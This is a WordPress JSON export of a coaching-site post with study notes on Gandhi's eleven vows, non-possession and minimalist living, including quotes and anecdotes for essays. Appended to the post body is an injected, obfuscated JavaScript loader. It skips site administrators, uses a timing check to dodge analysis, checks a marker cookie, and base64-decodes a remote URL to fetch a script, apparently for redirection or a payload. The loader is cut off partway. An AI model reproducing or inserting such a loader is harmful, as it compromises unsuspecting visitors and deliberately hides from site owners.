{"id":156,"date":"2023-10-29T11:13:01","date_gmt":"2023-10-29T11:13:01","guid":{"rendered":"https:\/\/iasquest.com\/?p=156"},"modified":"2026-02-11T19:33:24","modified_gmt":"2026-02-11T19:33:24","slug":"minimalist-living-non-possession-the-gandhian-thought","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/minimalist-living-non-possession-the-gandhian-thought\/","title":{"rendered":"Minimalist Living &#8211; Non-Possession The Gandhian Thought"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><u>Gandhi on Vow <\/u><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li> According to Gandhiji, <strong>\u201cA vow means unflinching determination, it helps us against temptation. Determination is worth nothing if it bends before discomfort.\u201d<\/strong><\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Just as non-violence can be observed only by a strong person, not by a coward, <strong>vows are also a sign of strength, not weakness<\/strong>.<\/li>\n\n\n\n<li>He believed that man\u2019s <strong>mental and spiritual well-being<\/strong> cannot be ignored. In Gandhi&#8217;s lifestyle, interconnectedness of the body, mind, and spirit were well maintained<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The Eleven Vows that encapsulates Gandhian thought and philosophy:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li>Truth,<\/li>\n\n\n\n<li>Ahimsa-Non-Violence,<\/li>\n\n\n\n<li>Brahmacharya-Chastity,<\/li>\n\n\n\n<li>Control of the Palate,<\/li>\n\n\n\n<li>NonStealing,<\/li>\n\n\n\n<li>Non-Possession,<\/li>\n\n\n\n<li>Fearlessness,<\/li>\n\n\n\n<li>Removal of Untouchability,<\/li>\n\n\n\n<li>Bread Labour,<\/li>\n\n\n\n<li>Tolerance-Equality of Religions, and<\/li>\n\n\n\n<li>Swadeshi.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Gandhi on Non-Possession:<\/u><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u201cIt is theft for me to eat any fruit that I do not need, or to take it in a larger quantity than is necessary. We are not always aware of our real needs, and most of us multiply our wants, and thus unconsciously make thieves of ourselves.\u201d<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Non-Possession is a principle applicable to thoughts as well:<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u201cWhy should a man fill his brain with useless knowledge? Habit of acquiring what is not needed becomes a burden on the mind and also in the environment.\u201d<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Some of the examples of Gandhi\u2019s minimalist living:<\/u><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Instruction to followers<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li>He insisted all the Ashramites spin 160 threads on a daily basis.<\/li>\n\n\n\n<li>In his Ashram, no servants or labourers were hired for housework.<\/li>\n\n\n\n<li>He requested all the young and adults to take turns cleaning toilets.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Incidents as examples for essay:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li>Once at the river bank, Gandhiji filled up his lota &#8211; a small metal pot, with water. His close associate standing nearby asked him, <strong>\u201cBapu, why only this much?\u201d<\/strong> Gandhiji replied, <strong>\u201cThis river does not belong to me alone.\u201d<\/strong> While using things, they can be food, clothes, water, furniture, etc., one should use only what is required. That leads to simplification of one\u2019s life.<\/li>\n\n\n\n<li>During one of his speeches on vegetarianism in England, he said that<strong> \u201cA man was not born a carnivorous animal, but born to live on the fruits and herbs that the earth grows\u201d.<\/strong><\/li>\n\n\n\n<li>According to Gandhi, <strong>\u201cThere should be no wastage and no overeating either<\/strong>. <strong>He said that his stomach was not a garbage bin. That extra food not required by the body would not get digested\u201d<\/strong>.<\/li>\n<\/ol>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof 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[&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":157,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center 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